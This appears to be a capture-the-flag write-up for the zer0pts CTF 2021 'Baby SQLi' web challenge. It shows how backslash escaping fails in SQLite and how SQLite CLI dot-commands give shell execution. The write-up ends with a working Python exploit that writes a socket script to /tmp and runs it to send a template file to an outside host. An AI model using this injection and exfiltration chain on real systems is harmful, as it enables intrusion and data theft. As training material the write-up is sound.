Try   HackMD

Baby SQLi - zer0pts CTF 2021

tags: zer0pts CTF 2021 web

Overview

  • The flag is in templates/index.html as below. To obtain the flag, you need to be logged in as admin, or read the content of the template file.
{% if name == 'admin' %} <p>zer0pts{*****CENSORED*****}</p> {% else %}
  • User input will be embedded in SQL statement, however, SQL Injection in /login seems to be prevented by escaping it.
def sqlite3_escape(s): return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
@app.route('/login', methods=['post']) def auth(): username = flask.request.form.get('username', default='', type=str) password = flask.request.form.get('password', default='', type=str) if len(username) > 32 or len(password) > 32: flask.session['msg'] = 'Too long username or password' return flask.redirect(flask.url_for('home')) password_hash = hashlib.sha256(password.encode()).hexdigest() result = None try: result = sqlite3_query( 'SELECT * FROM users WHERE username="{}" AND password="{}";' .format(sqlite3_escape(username), password_hash) ) except: pass
  • Communicating with SQLite3 database is implemented with subprocess.Popen even though Python supports sqlite3 module.
def sqlite3_query(sql): p = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o, e = p.communicate(sql.encode()) if e: raise Exception(e) result = [] for row in o.decode().split('\n'): if row == '': break result.append(tuple(row.split('|'))) return result

Solution

SQL Injection

sqlite3_escape escapes characters except for _.\sa-zA-Z0-9 by prepending backslashes. However, in SQLite3, you need to escape ' and " in a string literal by putting the same character twice instead of prepending backslashes.

$ sqlite3
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> SELECT "\";
\
sqlite> SELECT "a""b";
a"b

Because of this behavior, when you input " as username in /login, it breaks SQL structure.

SQLite3 commands

By breaking SQL structure, you can insert some characters after ". It is important that you can also use LF (U+000A) because in CLI version of SQLite3, by combinating " and ;, you can end SQL statement and then execute next query or SQLite3 commands. For example, if you input ";\n.tables\n as username, you can execute .tables command as below.

sqlite> SELECT * FROM users WHERE username="\"\;
Error: unrecognized token: "\"
sqlite> .tables
users

However, as you can see in the code as below, if there is any output to stderr, you cannot retrieve the output to stdout.

def sqlite3_query(sql): p = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o, e = p.communicate(sql.encode()) if e: raise Exception(e) result = [] for row in o.decode().split('\n'): if row == '': break result.append(tuple(row.split('|'))) return result

Let's find some useful commands to bypass this restriction. Looking through .help command, you can find .shell command, which can be used to execute OS commands.

sqlite> .help
...
.session ?NAME? CMD ...  Create or control sessions
.sha3sum ...             Compute a SHA3 hash of database content
.shell CMD ARGS...       Run CMD ARGS... in a system shell
.show                    Show the current values for various settings
.stats ?on|off?          Show stats or turn stats on or off
...

Although there is a limit on the length of username, you can bypass it by writing payload to somewhere under /tmp character by character and executing the script as below.

import requests

HOST = 'localhost'
PORT = 8004

script = "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('moxxie.tk',18001));s.send(open('/home/app/templates/index.html','rb').read())"

def run(cmd):
    payload = {
        'username': '";\n.system {}\n'.format(cmd),
        'password': 'legoshi'
    }
    r = requests.post(f'http://{HOST}:{PORT}/login', data=payload)

run('printf "">/tmp/hal')
for c in script:
    run('printf "{}">>/tmp/hal'.format(c))
run("python /tmp/hal")
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}